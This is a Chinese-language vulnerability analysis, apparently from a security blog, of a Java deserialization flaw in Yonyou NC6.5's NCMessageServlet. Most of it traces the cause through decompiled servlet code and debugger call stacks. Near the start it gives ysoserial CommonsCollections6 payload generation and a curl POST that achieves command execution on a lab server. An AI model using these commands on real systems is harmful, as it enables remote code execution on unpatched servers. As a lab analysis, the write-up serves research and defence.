NC6.5 NCMessageServlet 反序列化

警告
本文最后更新于 2023-07-05,文中内容可能已过时。

NC6.5 NCMessageServlet 反序列化

解压之后 root 运行安装脚本开始安装:

export JAVA_HOME=/usr/java/jdk1.7.0_21
export PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin
bash ./setup.sh

勾选所有的组件安装,等待安装完成之后点击“完成”退出即可。

依旧 root 用户执行命令:

cd /root/yonyou/home
bash ./startServer.sh 

等到片刻看到控制台显示一下内容的时候,表明 NC 的 Web 服务在 80 端口启动了。访问 URL 即可验证是否启动成功。

...
...
INFO: Starting ProtocolHandler ["http-bio-80"]
May 23, 2023 1:35:57 PM org.apache.tomcat.granite.BrightTomcat start
INFO: Server startup in 239757 ms

image-20230523144357398

使用 ysoserial 的 CC6 攻击。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "touch /tmp/success_NC_222" > CC6.ser
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

curl -v --include -X POST -H "Content-Type: application/octet-stream" --data-binary @CC6.ser http://192.168.47.171/servlet/~baseapp/nc.message.bs.NCMessageServlet

攻击成功:

image-20230523144258311

带调试配置的启动:

sudo su
cd /root/yonyou/home

/usr/java/jdk1.7.0_21/bin/java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -server -Xmx1536m -XX:PermSize=512m -XX:MaxPermSize=1024m -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=/root/yonyou/home/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=/root/yonyou/home -Drun.side=server -Dnc.run.side=server -cp .:/root/yonyou/home/starter.jar:/usr/java/jdk1.7.0_21/lib/tools.jar:/root/yonyou/home/ant/lib/ant-launcher.jar:/root/yonyou/home/lib/cnytiruces.jar nc.bs.mw.start.AloneBootstrap start

验证调试端口是否开启:

> netstat -ano |grep 5005
tcp        0      0 0.0.0.0:5005            0.0.0.0:*               LISTEN      off (0.00/0/0)

找到下断点的地方 nc.message.bs.NCMessageServlet,在 baseapp_appmessageLevel-1.jar 文件里面。

> grep -rn "nc.message.bs.NCMessageServlet"
Binary file baseapp_appmessageLevel-1.jar matches

image-20230523175223160

doAction:33, NCMessageServlet (nc.message.bs)
doAction:185, InvokerServlet (nc.bs.framework.server)
[] doPost:72, InvokerServlet (nc.bs.framework.server)
service:641, HttpServlet (javax.servlet.http)
service:722, HttpServlet (javax.servlet.http)
invoke:-1, GeneratedMethodAccessor113 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
run:277, SecurityUtil$1 (org.apache.catalina.security)
run:1, SecurityUtil$1 (org.apache.catalina.security)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:536, Subject (javax.security.auth)
execute:309, SecurityUtil (org.apache.catalina.security)
doAsPrivilege:169, SecurityUtil (org.apache.catalina.security)
internalDoFilter:299, ApplicationFilterChain (org.apache.catalina.core)
access$0:214, ApplicationFilterChain (org.apache.catalina.core)
run:193, ApplicationFilterChain$1 (org.apache.catalina.core)
run:1, ApplicationFilterChain$1 (org.apache.catalina.core)
doPrivileged:-1, AccessController (java.security)
doFilter:188, ApplicationFilterChain (org.apache.catalina.core)
doFilter:35, LoggerServletFilter (nc.bs.framework.server)
invoke:-1, GeneratedMethodAccessor114 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
run:277, SecurityUtil$1 (org.apache.catalina.security)
run:1, SecurityUtil$1 (org.apache.catalina.security)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:536, Subject (javax.security.auth)
execute:309, SecurityUtil (org.apache.catalina.security)
doAsPrivilege:249, SecurityUtil (org.apache.catalina.security)
internalDoFilter:239, ApplicationFilterChain (org.apache.catalina.core)
access$0:214, ApplicationFilterChain (org.apache.catalina.core)
run:193, ApplicationFilterChain$1 (org.apache.catalina.core)
run:1, ApplicationFilterChain$1 (org.apache.catalina.core)
doPrivileged:-1, AccessController (java.security)
doFilter:188, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:310, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:722, Thread (java.lang)

doAction:185, InvokerServlet (nc.bs.framework.server)

private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String token = this.getParamValue(request, "security_token");
        String userCode = this.getParamValue(request, "user_code");
        if (userCode != null) {
            InvocationInfoProxy.getInstance().setUserCode(userCode);
        }

        if (token != null) {
            NetStreamContext.setToken(KeyUtil.decodeToken(token));
        }

        String pathInfo = request.getPathInfo();
        log.debug("Before Invoke: " + pathInfo);
        long requestTime = System.currentTimeMillis();

        try {
            if (pathInfo == null) {
                throw new ServletException("Service name is not specified, pathInfo is null");
            }

            pathInfo = pathInfo.trim();
            String moduleName = null;
            String serviceName = null;
            int beginIndex;
            if (pathInfo.startsWith("/~")) { // "/~" 开头,pathInfo 值为 /~baseapp/nc.message.bs.NCMessageServlet
                moduleName = pathInfo.substring(2); //  moduleName 值为 baseapp/nc.message.bs.NCMessageServlet
                beginIndex = moduleName.indexOf("/"); // 值为 7
                if (beginIndex >= 0) {
                    serviceName = moduleName.substring(beginIndex); // 值为 /nc.message.bs.NCMessageServlet
                    if (beginIndex > 0) {
                        moduleName = moduleName.substring(0, beginIndex);// 最后处理 moduleName 的地方,值为 baseapp
                    } else {
                        moduleName = null;
                    }
                } else {
                    moduleName = null;
                    serviceName = pathInfo;
                }
            } else {
                serviceName = pathInfo;
            }

            if (serviceName == null) {
                throw new ServletException("Service name is not specified");
            }

            beginIndex = serviceName.indexOf("/");
            if (beginIndex < 0 || beginIndex >= serviceName.length() - 1) {
                throw new ServletException("Service name is not specified");
            }

            serviceName = serviceName.substring(beginIndex + 1); // 去掉了原本开头的 "/"
            Object obj = null;

            String msg;
            try {
                obj = this.getServiceObject(moduleName, serviceName); // [2] 通过前面获取到的两个 Name 拿到 Service 对象
            } catch (ComponentException var76) {
                msg = svcNotFoundMsgFormat.format(new Object[]{serviceName});
                Logger.error(msg, var76);
                throw new ServletException(msg);
            }

            ThreadTracer.getInstance().startThreadMonitor("invokeservlet-" + serviceName + "-" + (obj == null ? "" : obj.getClass().getName()), request.getRemoteAddr() + ":" + request.getRemotePort(), "anonymous", (String)null);
            if (obj instanceof Servlet) {
                Logger.init(obj.getClass());

                try {
                    if (obj instanceof GenericServlet) {
                        ((GenericServlet)obj).init();
                    }

                    this.preRemoteProcess();
                    ((Servlet)obj).service(request, response);
                    this.postRemoteProcess();
                } catch (ServletException var72) {
                    this.postErrorRemoteProcess(var72);
                    Logger.error("Invoker serlet: " + obj.getClass() + " error", var72);
                    throw var72;
                } catch (IOException var73) {
                    this.postErrorRemoteProcess(var73);
                    Logger.error("Invoker serlet: " + obj.getClass() + " error", var73);
                    throw var73;
                } catch (Throwable var74) {
                    this.postErrorRemoteProcess(var74);
                    Logger.error("Invoker serlet: " + obj.getClass() + " error", var74);
                    throw new ServletException("Invoker serlet: " + obj.getClass() + " error", var74);
                } finally {
                    Logger.reset();
                }
            } else if (obj instanceof IHttpServletAdaptor) {
                IHttpServletAdaptor adaptor = (IHttpServletAdaptor)obj;
                Logger.init(obj.getClass());

                try {
                    this.preRemoteProcess();
                    adaptor.doAction(request, response); // [1] 步入 NCMessageServlet 反序列化
                    this.postRemoteProcess();
                } finally {
                    Logger.reset();
                }
            } else {
                if (obj == null) {
                    String msg = "Serivce: " + serviceName + " is not found";
                    log.error(msg);
                    throw new ServletException(msg);
                }

                Class<?> clazz = obj.getClass();
                msg = null;

                Method method;
                try {
                    method = clazz.getDeclaredMethod("doAction", request.getClass(), response.getClass());
                } catch (Exception var70) {
                    throw new ServletException("Serivce: " + serviceName + " can't adapt Servlet");
                }

                if (method == null) {
                    throw new ServletException("Serivce: " + serviceName + " can't adapt Servlet");
                }

                Logger.init(obj.getClass());

                try {
                    String msg;
                    try {
                        this.preRemoteProcess();
                        method.invoke(obj, request, response);
                        this.postRemoteProcess();
                    } catch (InvocationTargetException var77) {
                        ..........
                    }
                } finally {
                    Logger.reset();
                }
            }
        } finally {
            log.debug("After Invoke: " + request.getPathInfo() + " " + (System.currentTimeMillis() - requestTime));
            ThreadTracer.getInstance().endThreadMonitor();
        }

    }

整个 InvokerServlet 方法的前半部分都是在处理 moduleNameserviceName,通过前面的两个变量在 [2] 获取到 Service 对象,最终在 [3] 进入最后反序列化的位置。其中 [2] 的详细流程如下,我们步入 getServiceObject 方法。

getServiceObject

private Object getServiceObject(String moduleName, String serviceName) throws ComponentException {
        Object retObject = null;
        if (moduleName == null) {
            retObject = NCLocator.getInstance().lookup(serviceName);
        } else { 
            retObject = serviceObjMap.get(moduleName + ":" + serviceName);// retObject 是 null
            if (retObject == null) {
                Container deployed = BusinessAppServer.getInstance().getContainer(moduleName);

                try {
                    retObject = deployed.getContext().lookup(serviceName);
                } catch (ComponentException var10) {
                    try {
                        Class<?> clazz = deployed.getClassLoader().loadClass(serviceName);
                        retObject = clazz.newInstance();// [4] 通过 serviceName 反射获取 Service 对象
                    } catch (ClassNotFoundException var7) {
                       ......
                    }
                }
            }

            if (retObject != null) {
                serviceObjMap.put(moduleName + ":" + serviceName, retObject);// 放进 serviceObjMap
            }
        }

        return retObject; // 返回获取的对象
    }

我们可以从 [4] 发现,程序通过 serviceName 动态加载指定的类,并且创造一个类的实例,以此来获取 Service 对象;然后 put 放进 serviceObjMap 里面。到漏洞最后进入该对象的 doAction 方法触发反序列化漏洞。

也就是说,我们可以找一个类,其中它的 doAction 方法内可以触发反序列化漏洞的,符合这个条件的类都可以被利用。当然,nc.message.bs.NCMessageServlet 类是符合条件的。

我们回到这个nc.message.bs.NCMessageServlet类上的反序列化来看,实际上就是最基本的 readObject 方法触发,只要是有利用链的都可以达到反序列化命令执行或者代码执行了。以 CC 的链为例子,简单搜索一下。其中 CC6 就是在利用范围内的利用链。

> ls |grep "commons-"
ant-commons-logging.jar
ant-commons-net.jar
commons-beanutils-1.8.0.jar
commons-beanutils-1.8.3.jar
commons-beanutils-core-1.8.0.jar
commons-beanutils-core.jar
commons-cli-1.0.jar
commons-cli-1.2.jar
commons-codec-1.2.jar
commons-codec-1.6.jar
commons-codec-1.6Level-1.jar
commons-codec-1.8.jar
commons-codec-1.9.jar
commons-codec.jar
commons-collections-3.2.1.jar
commons-collections.jar
commons-compress-1.4.1.jar
commons-configuration-1.2.jar
commons-configuration-1.6.jar
commons-daemon.jar
commons-dbcp-1.2.1.jar
commons-dbcp-1.4.jar
commons-digester-1.8.jar
commons-digester3-3.2.jar
commons-discovery-0.2.jar
commons-fileupload-1.2.1.jar
commons-fileupload-1.3.1.jar
commons-fileupload-1.3.jar
commons-httpclient-3.0Level-1.jar
commons-io-1.2.jar
commons-io-1.3.1.jar
commons-io-2.2.jar
commons-io-2.4.jar
commons-lang-2.1.jar
commons-lang-2.5.jar
commons-lang-2.6.jar
commons-lang3-3.1.jar
commons-lang3-3.3.2.jar
commons-logging-1.1.1.jar
commons-logging-1.1.1Level-1.jar
commons-logging-1.2.jar
commons-logging.jar
commons-math-1.0.jar
commons-net-1.4.1.jar
commons-net-2.2.jar
commons-net-3.1.jar
commons-net-3.3.jar
commons-pool-1.6.jar
commons-pool2-2.2.jar
commons-pool.jar
commons-validator.jar
commons-vfs-patched-1.9.1.jar
hibernate-commons-annotations-4.0.1.Final.jar
jakarta-commons-net.jar
jakarta-commons-oro.jar
spring-data-commons-core-1.4.0.RELEASE.jar
xmlgraphics-commons-1.4.jar

前面分析的过程中,没有分析到为什么 PoC 中的 /servlet 是怎么解析的。我发现上面的利用链中只有几个是 nc 自己的类,但是简单看了之后没有办法确定 url 开头的解析的逻辑在哪里。假如一开始是 /aaaa 呢,那处理的类是什么。

我在反复调试之后发现,在 org.apache.catalina.security.SecurityUtil#execute,当 URL 开头是 /aaaa 的时候,传入参数 targetObjectDefaultServlet

image-20230524104342293

但是在 URL 开头是 /servlet 的时候,传入参数 targetObjectLoggerServletFiltermethod 的 name 是 doFilter

image-20230524104513797

那么参数 targetObject 是在哪里初始化的呢。实际上 targetObject 是在这里传入的。接下来看看 this.servlet 在哪里设置的。

org.apache.catalina.core.ApplicationFilterChain#internalDoFilter

image-20230524110951781

org.apache.catalina.core.StandardWrapperValve#invoke

image-20230524112639651

servlet 和 wrapper 有关。

通常情况下,wrapper 是一个 ServletWrapper 类型的对象,它可能是一个类或接口的实例,用于管理和控制一个 Java Servlet 的生命周期。这个语句调用 wrapper 对象的 allocate() 方法,该方法会返回一个 Servlet 对象的实例,该实例代表着一个新的或重用的 Servlet。

在 Servlet 容器中,Servlet 对象通常会被缓存起来并在需要时被重用,以提高性能并减少内存开销。allocate() 方法可能会创建一个新的 Servlet 对象,也可能会从缓存中获取一个已存在的 Servlet 对象。无论是哪种情况,allocate() 方法都会返回一个可用的 Servlet 实例,servlet 变量将引用该实例,以便在后续的代码中使用。

恍然记得 Tomcat 也是可以使用 web.xml 文件写进去 Servlet 的映射的。所以简单查询了一下。(这里包含重复的)

> grep -rn "servlet-mapping"
uapmq/webapps/admin/WEB-INF/web.xml:66:  <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:69:  </servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:76:  <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:79:  </servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:86:  <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:89:  </servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:139:  <servlet-mapping>
uapmq/webapps/admin/WEB-INF/web.xml:142:  </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:89:    <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:92:    </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:94:    <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:97:    </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:99:    <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:102:    </servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:104:    <servlet-mapping>
uapmq/webapps/demo/WEB-INF/web.xml:107:    </servlet-mapping>
uapmq/webapps/fileserver/WEB-INF/web.xml:51:  <servlet-mapping>
uapmq/webapps/fileserver/WEB-INF/web.xml:54:  </servlet-mapping>
hotwebs/help/WEB-INF/web.xml:19:	<servlet-mapping>
hotwebs/help/WEB-INF/web.xml:22:	</servlet-mapping>
hotwebs/uapjs/WEB-INF/web.xml:9:	<servlet-mapping>
hotwebs/uapjs/WEB-INF/web.xml:12:	</servlet-mapping>	
hotwebs/uapws/WEB-INF/web.xml:46:    <servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:49:    </servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:56:	<servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:59:	</servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:64:	<servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:67:	</servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:72:	<servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:75:	</servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:76:	<servlet-mapping>
hotwebs/uapws/WEB-INF/web.xml:79:	</servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:13:	<servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:16:	</servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:22:	<servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:25:	</servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:31:    <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:34:    </servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:40:    <servlet-mapping>
hotwebs/fs/WEB-INF/web.xml:43:    </servlet-mapping>
hotwebs/portal/WEB-INF/bqwebrt.portal.part:26:	<servlet-mapping>
hotwebs/portal/WEB-INF/bqwebrt.portal.part:29:	</servlet-mapping>	
hotwebs/portal/WEB-INF/web.xml:270:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:274:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:281:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:284:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:289:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:292:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:334:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:337:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:338:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:341:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:342:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:345:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:347:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:350:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:352:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:355:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:357:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:360:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:361:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:364:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:380:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:383:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:389:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:392:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:438:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:441:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:447:	<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:450:	</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:452:<!--servlet-mapping_begin:bqwebrt-->
hotwebs/portal/WEB-INF/web.xml:454:<servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:457:</servlet-mapping>
hotwebs/portal/WEB-INF/web.xml:458:<!--servlet-mapping_end:bqwebrt-->
hotwebs/portal/ds/WEB-INF/web.xml:12:	<servlet-mapping>
hotwebs/portal/ds/WEB-INF/web.xml:15:	</servlet-mapping>
hotwebs/portal/aemeta/WEB-INF/web.xml:9:	<servlet-mapping>
hotwebs/portal/aemeta/WEB-INF/web.xml:12:	</servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:60:    <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:63:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:64:    <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:67:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:68:    <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:71:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:72:    <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:75:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:76:	<servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:79:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:80:	<servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:83:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:84:	<servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:87:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:89:    <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:92:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:93:    <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:96:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:97:    <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:100:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:101:    <servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:104:    </servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:105:	<servlet-mapping>
hotwebs/uapsep/WEB-INF/web.xml:108:    </servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:178:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:181:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:182:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:185:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:188:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:191:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:242:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:245:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:251:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml:254:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:155:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:158: 	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:180: 	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:183: 	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:185:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:188:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:189:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:192:  	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:194:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:197:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:199:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:202:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:204:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web.xml.copy:207:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:127:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:130:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:131:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:134:  	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:139:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:142:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:148:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:151:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:158:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:161:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:169:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:172:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:174:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:177:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:184:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:187:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:193:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:196:	</servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:203:	<servlet-mapping>
hotwebs/lfw/WEB-INF/web_portal.xml.copy:206:	</servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:77:	<servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:80:	</servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:87:	<servlet-mapping>
hotwebs/uapim/WEB-INF/web.xml:90:	</servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:63:	<servlet-mapping>
hotwebs/mp/WEB-INF/web.xml:66:	</servlet-mapping>
hotwebs/mp/WEB-INF/web.xml:72:<!--     <servlet-mapping>   -->
hotwebs/mp/WEB-INF/web.xml:75:<!--     </servlet-mapping> -->
hotwebs/mp/WEB-INF/web.xml:81:<!--     <servlet-mapping>   -->
hotwebs/mp/WEB-INF/web.xml:84:<!--     </servlet-mapping>       -->
hotwebs/iwebap/WEB-INF/web.xml:154:	<servlet-mapping>
hotwebs/iwebap/WEB-INF/web.xml:157:	</servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:198:	<servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:201:	</servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:243:	<servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:246:	</servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:247:	<servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:250:	</servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:251:	<servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:254:	</servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:256:	<servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:259:	</servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:261:	<servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:264:	</servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:266:	<servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:269:	</servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:270:	<servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:273:	</servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:289:	<servlet-mapping>
hotwebs/rmweb/WEB-INF/web.xml:292:	</servlet-mapping>
hotwebs/web/WEB-INF/web.xml:100:	<servlet-mapping>
hotwebs/web/WEB-INF/web.xml:103:	</servlet-mapping>
hotwebs/web/WEB-INF/web.xml:104:	<servlet-mapping>
hotwebs/web/WEB-INF/web.xml:107:	</servlet-mapping> -->
hotwebs/ebvp/WEB-INF/web.xml:126:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:129:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:137:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:140:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:148:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:151:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:159:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:162:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:170:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:173:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:181:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:184:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:192:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:195:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:203:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:206:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:214:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:217:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:225:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:228:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:236:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:239:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:247:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:250:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:258:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:261:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:269:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:272:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:280:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:283:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:291:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:294:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:302:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:305:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:312:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:315:	</servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:322:	<servlet-mapping>
hotwebs/ebvp/WEB-INF/web.xml:325:	</servlet-mapping>
hotwebs/ecp/WEB-INF/web.xml:158:	<servlet-mapping>
